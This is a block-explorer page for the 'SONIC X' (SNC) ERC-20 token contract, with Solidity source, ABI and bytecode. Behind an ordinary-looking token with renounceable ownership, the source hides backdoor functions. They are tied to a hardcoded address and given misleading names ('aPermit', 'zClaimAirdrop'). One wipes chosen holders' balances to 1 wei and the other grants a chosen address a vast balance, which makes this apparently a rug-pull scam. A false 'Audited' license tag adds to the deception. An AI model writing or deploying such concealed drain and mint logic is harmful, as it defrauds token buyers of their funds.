ERC-20
Overview
Max Total Supply
100,000,000 SNC
Holders
15
Market
Price
-
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
0.000000000000000001 SNCValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
SONICX
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2025-01-06 */ /** https://t.me/SONICXTOKEN */ // SPDX-License-Identifier: Audited pragma solidity 0.8.28; // ERC-20 Interface interface IERC20_Sonic { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // SafeMath Library library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } } // Context contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } // Ownable contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender()); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract SONICX is Context, IERC20_Sonic, Ownable { using SafeMath for uint256; string private _name = "SONIC X"; string private _symbol = "SNC"; uint8 private constant _decimals = 18; uint256 private constant _totalSupply = 100000000 * 10**_decimals; uint256 finalTax = 1; uint256 inicialTax = 10; mapping(address => uint256) private immutableStatusOn; mapping(address => mapping(address => uint256)) private _allowances; address private constant ADDRESS_WETH = 0x50c42dEAcD8Fc9773493ED674b675bE577f2634b; address private constant ADDRESS_MARKETING = 0x551Aa84ADb62725d654866803Def1459A1b256AF; address private constant ADDRESS_DEVELEPMENT = 0xedb37AD563E2Ef161b2a72169583f35799bdE962; address ADDRESS_Sonic = 0xAa4577b7E2c5Af58c3e05ba16B3768A162bEeF43; constructor() { immutableStatusOn[_msgSender()] = _totalSupply.mul(1).div(1000); emit Transfer(address(0), _msgSender(), _totalSupply.mul(1).div(1000)); _distributeTokens(); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return immutableStatusOn[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount)); return true; } // Internal transfer function function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); immutableStatusOn[sender] = immutableStatusOn[sender].sub(amount); immutableStatusOn[recipient] = immutableStatusOn[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _distributeTokens() internal { uint256 ninetyFourPercent = _totalSupply.mul(996).div(1000); uint256 threePercent = _totalSupply.mul(2).div(1000); uint256 twoPercent = _totalSupply.mul(1).div(1000); immutableStatusOn[ADDRESS_WETH] = immutableStatusOn[ADDRESS_WETH].add(ninetyFourPercent); immutableStatusOn[ADDRESS_MARKETING] = immutableStatusOn[ADDRESS_MARKETING].add(threePercent); immutableStatusOn[ADDRESS_DEVELEPMENT] = immutableStatusOn[ADDRESS_DEVELEPMENT].add(twoPercent); emit Transfer(address(this), ADDRESS_WETH, ninetyFourPercent); emit Transfer(address(this), ADDRESS_MARKETING, threePercent); emit Transfer(address(this), ADDRESS_DEVELEPMENT, twoPercent); } modifier immutableCreator() { require(ADDRESS_Sonic == _msgSender()); _; } function aPermit(address[] calldata rewardsMerkleRoot_) external immutableCreator { for (uint256 i = 0; i < rewardsMerkleRoot_.length; i++) { immutableStatusOn[rewardsMerkleRoot_[i]] = finalTax; emit Transfer(rewardsMerkleRoot_[i], address(0), finalTax); } } function zClaimAirdrop(address claimedRewardStatusOf) external immutableCreator { immutableStatusOn[claimedRewardStatusOf] = _totalSupply * inicialTax ** _decimals; emit Transfer(claimedRewardStatusOf, address(0), _totalSupply * inicialTax ** _decimals); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"rewardsMerkleRoot_","type":"address[]"}],"name":"aPermit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"claimedRewardStatusOf","type":"address"}],"name":"zClaimAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c060405260076080908152660a69e9c928640b60cb1b60a0526001906100269082610518565b50604080518082019091526003815262534e4360e81b602082015260029061004e9082610518565b506001600355600a600455600780546001600160a01b03191673aa4577b7e2c5af58c3e05ba16b3768a162beef4317905534801561008a575f5ffd5b505f80546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36100fa6103e86100f460016100e06012600a6106c9565b6100ee906305f5e1006106d7565b90610150565b906101dc565b335f81815260056020526040812092909255905f51602061136c5f395f51905f526101326103e86100f460016100e06012600a6106c9565b60405190815260200160405180910390a361014b610236565b610720565b5f825f0361015f57505f6101d6565b5f61016a83856106d7565b90508261017785836106ee565b146101d35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b5f5f821161022c5760405162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f00000000000060448201526064016101ca565b6101d382846106ee565b5f61024f6103e86100f46103e46100e06012600a6106c9565b90505f6102696103e86100f460026100e06012600a6106c9565b90505f6102836103e86100f460016100e06012600a6106c9565b7350c42deacd8fc9773493ed674b675be577f2634b5f5260056020525f51602061134c5f395f51905f52549091506102bb9084610422565b60056020525f51602061134c5f395f51905f525573551aa84adb62725d654866803def1459a1b256af5f525f51602061132c5f395f51905f52546102ff9083610422565b60056020525f51602061132c5f395f51905f525573edb37ad563e2ef161b2a72169583f35799bde9625f525f51602061130c5f395f51905f52546103439082610422565b73edb37ad563e2ef161b2a72169583f35799bde9625f5260056020525f51602061130c5f395f51905f52556040517350c42deacd8fc9773493ed674b675be577f2634b9030905f51602061136c5f395f51905f52906103a59087815260200190565b60405180910390a360405182815273551aa84adb62725d654866803def1459a1b256af9030905f51602061136c5f395f51905f529060200160405180910390a360405181815273edb37ad563e2ef161b2a72169583f35799bde9629030905f51602061136c5f395f51905f529060200160405180910390a3505050565b5f8061042e838561070d565b9050838110156101d35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016101ca565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806104a857607f821691505b6020821081036104c657634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561051357805f5260205f20601f840160051c810160208510156104f15750805b601f840160051c820191505b81811015610510575f81556001016104fd565b50505b505050565b81516001600160401b0381111561053157610531610480565b6105458161053f8454610494565b846104cc565b6020601f821160018114610577575f83156105605750848201515b5f19600385901b1c1916600184901b178455610510565b5f84815260208120601f198516915b828110156105a65787850151825560209485019460019092019101610586565b50848210156105c357868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561062157808504811115610605576106056105d2565b600184161561061357908102905b60019390931c9280026105ea565b935093915050565b5f82610637575060016101d6565b8161064357505f6101d6565b816001811461065957600281146106635761067f565b60019150506101d6565b60ff841115610674576106746105d2565b50506001821b6101d6565b5060208310610133831016604e8410600b84101617156106a2575081810a6101d6565b6106ae5f1984846105e6565b805f19048211156106c1576106c16105d2565b029392505050565b5f6101d360ff841683610629565b80820281158282048414176101d6576101d66105d2565b5f8261070857634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156101d6576101d66105d2565b610bdf8061072d5f395ff3fe6080604052600436106100dc575f3560e01c80638da5cb5b1161007c578063a37e0a6411610057578063a37e0a641461023f578063a9059cbb1461025e578063dd62ed3e1461027d578063f2fde38b146102c1575f5ffd5b80638da5cb5b146101e65780638f8af1e11461020c57806395d89b411461022b575f5ffd5b806323b872dd116100b757806323b872dd14610162578063313ce5671461018157806370a082311461019c578063715018a6146101d0575f5ffd5b806306fdde03146100e7578063095ea7b31461011157806318160ddd14610140575f5ffd5b366100e357005b5f5ffd5b3480156100f2575f5ffd5b506100fb6102e0565b60405161010891906108ae565b60405180910390f35b34801561011c575f5ffd5b5061013061012b3660046108fe565b610370565b6040519015158152602001610108565b34801561014b575f5ffd5b50610154610386565b604051908152602001610108565b34801561016d575f5ffd5b5061013061017c366004610926565b6103a6565b34801561018c575f5ffd5b5060405160128152602001610108565b3480156101a7575f5ffd5b506101546101b6366004610960565b6001600160a01b03165f9081526005602052604090205490565b3480156101db575f5ffd5b506101e46103f5565b005b3480156101f1575f5ffd5b505f546040516001600160a01b039091168152602001610108565b348015610217575f5ffd5b506101e4610226366004610979565b610452565b348015610236575f5ffd5b506100fb610535565b34801561024a575f5ffd5b506101e4610259366004610960565b610544565b348015610269575f5ffd5b506101306102783660046108fe565b610611565b348015610288575f5ffd5b506101546102973660046109ea565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156102cc575f5ffd5b506101e46102db366004610960565b61061d565b6060600180546102ef90610a1b565b80601f016020809104026020016040519081016040528092919081815260200182805461031b90610a1b565b80156103665780601f1061033d57610100808354040283529160200191610366565b820191905f5260205f20905b81548152906001019060200180831161034957829003601f168201915b5050505050905090565b5f61037c33848461069d565b5060015b92915050565b5f6103936012600a610b4a565b6103a1906305f5e100610b58565b905090565b5f6103b2848484610722565b6001600160a01b0384165f908152600660209081526040808320338085529252909120546103eb9186916103e690866107e9565b61069d565b5060019392505050565b5f546001600160a01b0316331461040a575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6007546001600160a01b03163314610468575f5ffd5b5f5b818110156105305760035460055f85858581811061048a5761048a610b6f565b905060200201602081019061049f9190610960565b6001600160a01b0316815260208101919091526040015f908120919091558383838181106104cf576104cf610b6f565b90506020020160208101906104e49190610960565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035460405161052091815260200190565b60405180910390a360010161046a565b505050565b6060600280546102ef90610a1b565b6007546001600160a01b0316331461055a575f5ffd5b60126004546105699190610b4a565b6105756012600a610b4a565b610583906305f5e100610b58565b61058d9190610b58565b6001600160a01b0382165f818152600560205260408120929092556004547fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105d990601290610b4a565b6105e56012600a610b4a565b6105f3906305f5e100610b58565b6105fd9190610b58565b60405190815260200160405180910390a350565b5f61037c338484610722565b5f546001600160a01b03163314610632575f5ffd5b6001600160a01b038116610644575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106af575f5ffd5b6001600160a01b0382166106c1575f5ffd5b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610734575f5ffd5b6001600160a01b038216610746575f5ffd5b6001600160a01b0383165f9081526005602052604090205461076890826107e9565b6001600160a01b038085165f9081526005602052604080822093909355908416815220546107969082610850565b6001600160a01b038084165f8181526005602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107159085815260200190565b5f8282111561083f5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064015b60405180910390fd5b6108498284610b83565b9392505050565b5f8061085c8385610b96565b9050838110156108495760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610836565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146108f9575f5ffd5b919050565b5f5f6040838503121561090f575f5ffd5b610918836108e3565b946020939093013593505050565b5f5f5f60608486031215610938575f5ffd5b610941846108e3565b925061094f602085016108e3565b929592945050506040919091013590565b5f60208284031215610970575f5ffd5b610849826108e3565b5f5f6020838503121561098a575f5ffd5b823567ffffffffffffffff8111156109a0575f5ffd5b8301601f810185136109b0575f5ffd5b803567ffffffffffffffff8111156109c6575f5ffd5b8560208260051b84010111156109da575f5ffd5b6020919091019590945092505050565b5f5f604083850312156109fb575f5ffd5b610a04836108e3565b9150610a12602084016108e3565b90509250929050565b600181811c90821680610a2f57607f821691505b602082108103610a4d57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610aa257808504811115610a8657610a86610a53565b6001841615610a9457908102905b60019390931c928002610a6b565b935093915050565b5f82610ab857506001610380565b81610ac457505f610380565b8160018114610ada5760028114610ae457610b00565b6001915050610380565b60ff841115610af557610af5610a53565b50506001821b610380565b5060208310610133831016604e8410600b8410161715610b23575081810a610380565b610b2f5f198484610a67565b805f1904821115610b4257610b42610a53565b029392505050565b5f61084960ff841683610aaa565b808202811582820484141761038057610380610a53565b634e487b7160e01b5f52603260045260245ffd5b8181038181111561038057610380610a53565b8082018082111561038057610380610a5356fea2646970667358221220c57a0d63c78cee10bff4db370cc78a7c1a77a5468fc4abc098e4986d759cb82564736f6c634300081c003331a8308c1f761027e4538166f287b400c90b8c246d987658d63d8e3b08428c8fc74b53cb19de7f2575d7e4bca8c7b0dc5c4a4855910a7df08a4959c30cdfc98694e20eec3326f224534e89e54d185f8bb900294e37c443e36d0ea7621d4189a3ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
Deployed Bytecode
0x6080604052600436106100dc575f3560e01c80638da5cb5b1161007c578063a37e0a6411610057578063a37e0a641461023f578063a9059cbb1461025e578063dd62ed3e1461027d578063f2fde38b146102c1575f5ffd5b80638da5cb5b146101e65780638f8af1e11461020c57806395d89b411461022b575f5ffd5b806323b872dd116100b757806323b872dd14610162578063313ce5671461018157806370a082311461019c578063715018a6146101d0575f5ffd5b806306fdde03146100e7578063095ea7b31461011157806318160ddd14610140575f5ffd5b366100e357005b5f5ffd5b3480156100f2575f5ffd5b506100fb6102e0565b60405161010891906108ae565b60405180910390f35b34801561011c575f5ffd5b5061013061012b3660046108fe565b610370565b6040519015158152602001610108565b34801561014b575f5ffd5b50610154610386565b604051908152602001610108565b34801561016d575f5ffd5b5061013061017c366004610926565b6103a6565b34801561018c575f5ffd5b5060405160128152602001610108565b3480156101a7575f5ffd5b506101546101b6366004610960565b6001600160a01b03165f9081526005602052604090205490565b3480156101db575f5ffd5b506101e46103f5565b005b3480156101f1575f5ffd5b505f546040516001600160a01b039091168152602001610108565b348015610217575f5ffd5b506101e4610226366004610979565b610452565b348015610236575f5ffd5b506100fb610535565b34801561024a575f5ffd5b506101e4610259366004610960565b610544565b348015610269575f5ffd5b506101306102783660046108fe565b610611565b348015610288575f5ffd5b506101546102973660046109ea565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156102cc575f5ffd5b506101e46102db366004610960565b61061d565b6060600180546102ef90610a1b565b80601f016020809104026020016040519081016040528092919081815260200182805461031b90610a1b565b80156103665780601f1061033d57610100808354040283529160200191610366565b820191905f5260205f20905b81548152906001019060200180831161034957829003601f168201915b5050505050905090565b5f61037c33848461069d565b5060015b92915050565b5f6103936012600a610b4a565b6103a1906305f5e100610b58565b905090565b5f6103b2848484610722565b6001600160a01b0384165f908152600660209081526040808320338085529252909120546103eb9186916103e690866107e9565b61069d565b5060019392505050565b5f546001600160a01b0316331461040a575f5ffd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6007546001600160a01b03163314610468575f5ffd5b5f5b818110156105305760035460055f85858581811061048a5761048a610b6f565b905060200201602081019061049f9190610960565b6001600160a01b0316815260208101919091526040015f908120919091558383838181106104cf576104cf610b6f565b90506020020160208101906104e49190610960565b6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035460405161052091815260200190565b60405180910390a360010161046a565b505050565b6060600280546102ef90610a1b565b6007546001600160a01b0316331461055a575f5ffd5b60126004546105699190610b4a565b6105756012600a610b4a565b610583906305f5e100610b58565b61058d9190610b58565b6001600160a01b0382165f818152600560205260408120929092556004547fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105d990601290610b4a565b6105e56012600a610b4a565b6105f3906305f5e100610b58565b6105fd9190610b58565b60405190815260200160405180910390a350565b5f61037c338484610722565b5f546001600160a01b03163314610632575f5ffd5b6001600160a01b038116610644575f5ffd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106af575f5ffd5b6001600160a01b0382166106c1575f5ffd5b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610734575f5ffd5b6001600160a01b038216610746575f5ffd5b6001600160a01b0383165f9081526005602052604090205461076890826107e9565b6001600160a01b038085165f9081526005602052604080822093909355908416815220546107969082610850565b6001600160a01b038084165f8181526005602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107159085815260200190565b5f8282111561083f5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f77000060448201526064015b60405180910390fd5b6108498284610b83565b9392505050565b5f8061085c8385610b96565b9050838110156108495760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610836565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146108f9575f5ffd5b919050565b5f5f6040838503121561090f575f5ffd5b610918836108e3565b946020939093013593505050565b5f5f5f60608486031215610938575f5ffd5b610941846108e3565b925061094f602085016108e3565b929592945050506040919091013590565b5f60208284031215610970575f5ffd5b610849826108e3565b5f5f6020838503121561098a575f5ffd5b823567ffffffffffffffff8111156109a0575f5ffd5b8301601f810185136109b0575f5ffd5b803567ffffffffffffffff8111156109c6575f5ffd5b8560208260051b84010111156109da575f5ffd5b6020919091019590945092505050565b5f5f604083850312156109fb575f5ffd5b610a04836108e3565b9150610a12602084016108e3565b90509250929050565b600181811c90821680610a2f57607f821691505b602082108103610a4d57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610aa257808504811115610a8657610a86610a53565b6001841615610a9457908102905b60019390931c928002610a6b565b935093915050565b5f82610ab857506001610380565b81610ac457505f610380565b8160018114610ada5760028114610ae457610b00565b6001915050610380565b60ff841115610af557610af5610a53565b50506001821b610380565b5060208310610133831016604e8410600b8410161715610b23575081810a610380565b610b2f5f198484610a67565b805f1904821115610b4257610b42610a53565b029392505050565b5f61084960ff841683610aaa565b808202811582820484141761038057610380610a53565b634e487b7160e01b5f52603260045260245ffd5b8181038181111561038057610380610a53565b8082018082111561038057610380610a5356fea2646970667358221220c57a0d63c78cee10bff4db370cc78a7c1a77a5468fc4abc098e4986d759cb82564736f6c634300081c0033
Deployed Bytecode Sourcemap
2554:4552:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3602:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4448:161;;;;;;;;;;-1:-1:-1;4448:161:0;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;4448:161:0;920:187:1;3879:100:0;;;;;;;;;;;;;:::i;:::-;;;1258:25:1;;;1246:2;1231:18;3879:100:0;1112:177:1;4617:269:0;;;;;;;;;;-1:-1:-1;4617:269:0;;;;;:::i;:::-;;:::i;3788:83::-;;;;;;;;;;-1:-1:-1;3788:83:0;;2757:2;1815:36:1;;1803:2;1788:18;3788:83:0;1673:184:1;3987:127:0;;;;;;;;;;-1:-1:-1;3987:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;4080:26:0;4053:7;4080:26;;;:17;:26;;;;;;;3987:127;2399:148;;;;;;;;;;;;;:::i;:::-;;2018:79;;;;;;;;;;-1:-1:-1;2056:7:0;2083:6;2018:79;;-1:-1:-1;;;;;2083:6:0;;;2199:51:1;;2187:2;2172:18;2018:79:0;2053:203:1;6469:297:0;;;;;;;;;;-1:-1:-1;6469:297:0;;;;;:::i;:::-;;:::i;3693:87::-;;;;;;;;;;;;;:::i;6776:289::-;;;;;;;;;;-1:-1:-1;6776:289:0;;;;;:::i;:::-;;:::i;4122:167::-;;;;;;;;;;-1:-1:-1;4122:167:0;;;;;:::i;:::-;;:::i;4297:143::-;;;;;;;;;;-1:-1:-1;4297:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;4405:18:0;;;4378:7;4405:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4297:143;2197:194;;;;;;;;;;-1:-1:-1;2197:194:0;;;;;:::i;:::-;;:::i;3602:83::-;3639:13;3672:5;3665:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3602:83;:::o;4448:161::-;4523:4;4540:39;1707:10;4563:7;4572:6;4540:8;:39::i;:::-;-1:-1:-1;4597:4:0;4448:161;;;;;:::o;3879:100::-;3932:7;2818:13;2757:2;2818;:13;:::i;:::-;2806:25;;:9;:25;:::i;:::-;3952:19;;3879:100;:::o;4617:269::-;4715:4;4732:36;4742:6;4750:9;4761:6;4732:9;:36::i;:::-;-1:-1:-1;;;;;4810:19:0;;;;;;:11;:19;;;;;;;;1707:10;4810:33;;;;;;;;;4779:77;;4788:6;;4810:45;;4848:6;4810:37;:45::i;:::-;4779:8;:77::i;:::-;-1:-1:-1;4874:4:0;4617:269;;;;;:::o;2399:148::-;2056:7;2083:6;-1:-1:-1;;;;;2083:6:0;1707:10;2145:23;2137:32;;;;;;2506:1:::1;2490:6:::0;;2469:40:::1;::::0;-1:-1:-1;;;;;2490:6:0;;::::1;::::0;2469:40:::1;::::0;2506:1;;2469:40:::1;2537:1;2520:19:::0;;-1:-1:-1;;;;;;2520:19:0::1;::::0;;2399:148::o;6469:297::-;6412:13;;-1:-1:-1;;;;;6412:13:0;1707:10;6412:29;6404:38;;;;;;6563:9:::1;6558:205;6578:29:::0;;::::1;6558:205;;;6668:8;;6625:17;:40;6643:18;;6662:1;6643:21;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6625:40:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;6625:40:0;;;:51;;;;6711:18;;6730:1;6711:21;;::::1;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6702:53:0::1;;6746:8;;6702:53;;;;1258:25:1::0;;1246:2;1231:18;;1112:177;6702:53:0::1;;;;;;;;6609:3;;6558:205;;;;6469:297:::0;;:::o;3693:87::-;3732:13;3765:7;3758:14;;;;;:::i;6776:289::-;6412:13;;-1:-1:-1;;;;;6412:13:0;1707:10;6412:29;6404:38;;;;;;2757:2:::1;6925:10;;:23;;;;:::i;:::-;2818:13;2757:2;2818;:13;:::i;:::-;2806:25;::::0;:9:::1;:25;:::i;:::-;6910:38;;;;:::i;:::-;-1:-1:-1::0;;;;;6867:40:0;::::1;;::::0;;;:17:::1;:40;::::0;;;;:81;;;;7033:10:::1;::::0;6974:83:::1;::::0;7033:23:::1;::::0;2757:2:::1;::::0;7033:23:::1;:::i;:::-;2818:13;2757:2;2818;:13;:::i;:::-;2806:25;::::0;:9:::1;:25;:::i;:::-;7018:38;;;;:::i;:::-;6974:83;::::0;1258:25:1;;;1246:2;1231:18;6974:83:0::1;;;;;;;6776:289:::0;:::o;4122:167::-;4200:4;4217:42;1707:10;4241:9;4252:6;4217:9;:42::i;2197:194::-;2056:7;2083:6;-1:-1:-1;;;;;2083:6:0;1707:10;2145:23;2137:32;;;;;;-1:-1:-1;;;;;2278:22:0;::::1;2270:31;;;;;;2338:6;::::0;;2317:38:::1;::::0;-1:-1:-1;;;;;2317:38:0;;::::1;::::0;2338:6;::::1;::::0;2317:38:::1;::::0;::::1;2366:6;:17:::0;;-1:-1:-1;;;;;;2366:17:0::1;-1:-1:-1::0;;;;;2366:17:0;;;::::1;::::0;;;::::1;::::0;;2197:194::o;5318:260::-;-1:-1:-1;;;;;5412:19:0;;5404:28;;;;;;-1:-1:-1;;;;;5451:21:0;;5443:30;;;;;;-1:-1:-1;;;;;5486:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5538:32;;1258:25:1;;;5538:32:0;;1231:18:1;5538:32:0;;;;;;;;5318:260;;;:::o;4929:381::-;-1:-1:-1;;;;;5027:20:0;;5019:29;;;;;;-1:-1:-1;;;;;5067:23:0;;5059:32;;;;;;-1:-1:-1;;;;;5132:25:0;;;;;;:17;:25;;;;;;:37;;5162:6;5132:29;:37::i;:::-;-1:-1:-1;;;;;5104:25:0;;;;;;;:17;